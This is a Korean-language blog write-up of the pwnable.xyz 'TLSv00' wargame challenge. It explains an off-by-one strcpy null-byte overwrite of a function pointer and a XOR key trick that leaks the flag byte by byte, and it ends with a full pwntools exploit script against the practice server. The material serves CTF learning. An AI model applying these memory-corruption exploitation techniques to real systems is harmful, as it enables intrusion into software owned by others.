본문으로 바로가기

pwnable.xyz / TLSv00

category Wargame/pwnable.xyz 2020. 1. 13. 17:56
  if ( size > 0 && (unsigned int)size <= 0x40 )
  {
    memset(s00x48uLL);
    fd = open("/dev/urandom"0);
    
    if ( fd == -1 )
    {
      puts("Can't open /dev/urandom");
      exit(1);
    }
    
    read(fdssize);
    for ( i = 0i < size; ++i )
    {
      while ( !s[i] )
        read(fd, &s[i], 1uLL);
    }
    
    strcpy(keys);
    close(fd);
  }

 

.bss:0000000000202040                 public key
.bss:0000000000202040 ; char key[64]
.bss:0000000000202040 key             db 40h dup(?)           ; DATA XREF: generate_key+E4↑o
.bss:0000000000202040                                         ; load_flag+73↑o
.bss:0000000000202080                 public do_comment
.bss:0000000000202080 ; __int64 (*do_comment)(void)
.bss:0000000000202080 do_comment      dq ?                    ; DATA XREF: print_flag+10↑o
.bss:0000000000202080                                         ; print_flag+40↑w ...
.bss:0000000000202088                 align 20h

 

generate_key 함수에서 키 길이를 64로 설정하면 strcpy 에서 off-by-one 버그로 NULL 바이트가 do_comment 에 쓰여진다.

 

    if ( getchar() == 'y' )
      do_comment = (__int64 (*)(void))f_do_comment;
    do_comment();

 

print_flag 함수에서 y를 입력하면 f_do_comment 의 주소 0xB1F가 do_comment 에 쓰여진다.

0xB1F를 쓰고 나서 generate_key 에서 NULL byte overflow를 유발하면 do_comment 의 값은 0xB00가 된다. 이 값이 무엇인가 찾아보니..

 

.text:0000000000000A80 ; =============== S U B R O U T I N E =======================================
.text:0000000000000A80
.text:0000000000000A80 ; Attributes: bp-based frame
.text:0000000000000A80
.text:0000000000000A80                 public a
.text:0000000000000A80 a               proc near
.text:0000000000000A80 ; __unwind {
.text:0000000000000A80                 push    rbp
.text:0000000000000A81                 mov     rbp, rsp
.text:0000000000000A84                 retn
.text:0000000000000A84 a               endp ; sp-analysis failed
.text:0000000000000A84
.text:0000000000000A84 ; ---------------------------------------------------------------------------
.text:0000000000000A85                 db 79h dup(90h)
.text:0000000000000AFE ; ---------------------------------------------------------------------------
.text:0000000000000AFE                 pop     rbp
.text:0000000000000AFF                 retn
.text:0000000000000AFF ; } // starts at A80
.text:0000000000000B00
.text:0000000000000B00 ; =============== S U B R O U T I N E =======================================
.text:0000000000000B00
.text:0000000000000B00 ; Attributes: bp-based frame
.text:0000000000000B00
.text:0000000000000B00                 public real_print_flag
.text:0000000000000B00 real_print_flag proc near
.text:0000000000000B00 ; __unwind {
.text:0000000000000B00                 push    rbp
.text:0000000000000B01                 mov     rbp, rsp

 

real_print_flag 함수의 주소다.  함수 areal_print_flag 의 주소를 0xB00으로 맞춰주기 위한 장치로 보인다. nop nop nop

이렇게 바로 끝나면 좋겠지만 아쉽게도 다른 트릭이 또 걸려있다.

 

  read(fdflag0x40uLL);
  for ( i = 0i <= 0x3F; ++i )
    flag[i] ^= key[i];

 

load_flag 에서 플래그를 key 와 xor 연산한다. generate_key 에서 키값의 각 바이트는 0이 되지 않도록 제약을 걸어 뒀지만 마지막에는 항상 NULL 바이트가 붙는다. 어떤 값에 대해서 XOR 0 은 항상 원래의 값이므로, key 의 길이를 1부터 차례로 늘려가면 플래그의 원문을 한 글자씩 얻을 수 있다. (main 에서 generate_key(63); 을 호출해 key 에 이미 값이 전부 쓰여졌으므로 키값의 길이를 1로 설정하고 바로 전문을 가져올 수는 없다.)

 

원래 연결 한 번에 전부 가져오려고 했지만 60초 알람 시그널 때문에 시간이 부족해서 글자 하나마다 연결을 재설정했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
import argparse


def log_info(string) :
    sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string))

def log_error(string) :
    sys.stderr.write(u'\u001b[37;1m[\u001b[31m-\u001b[37;1m]\u001b[0m {s}\n'.format(s=string))


def init() :
    global p

    if args.remote :
        p = connect('svc.pwnable.xyz'30006)
    else :
        p = process('./challenge')

def GenerateKey(size:int) :
    p.writelineafter(b'> 'b'1')
    p.writelineafter(b'len: 'str(size).encode())

def LoadFlag() :
    p.writelineafter(b'> 'b'2')

def PrintFlag(answer:bytesproc_read:bool) :
    p.writeline(b'3')
    p.writeafter(b'? ', answer)

    if answer == b'y' :
        p.writelineafter(b': 'b'AAAA')
    elif proc_read :
        return p.readuntil(b'1. R'drop=True)

def exploit() :
    flag = 'F'
    i = 1

    while True :
        init()
        p.readuntil(b'> ')

        PrintFlag(b'y'False)
        GenerateKey(i)
        LoadFlag()
        GenerateKey(64)
        leak = PrintFlag(b'a'True)

        try :
            c = chr(leak[i])
            log_info('flag[{}] = {}'.format(i, c))
            flag += c
            i += 1
            if c == '}' :
                break
        except IndexError :
            log_error('Unintended NULL byte, trying again...')

        p.close()

    log_info('Flag: '+flag)


if __name__ == '__main__' :
    context.log_level = logging.ERROR

    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    exploit()

 

 

 

Last update: 10/23/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / l33t-ness  (0) 2020.01.13
pwnable.xyz / Jmp table  (0) 2020.01.13
pwnable.xyz / Free Spirit  (0) 2020.01.13
pwnable.xyz / two targets  (0) 2020.01.13
pwnable.xyz / xor  (0) 2020.01.13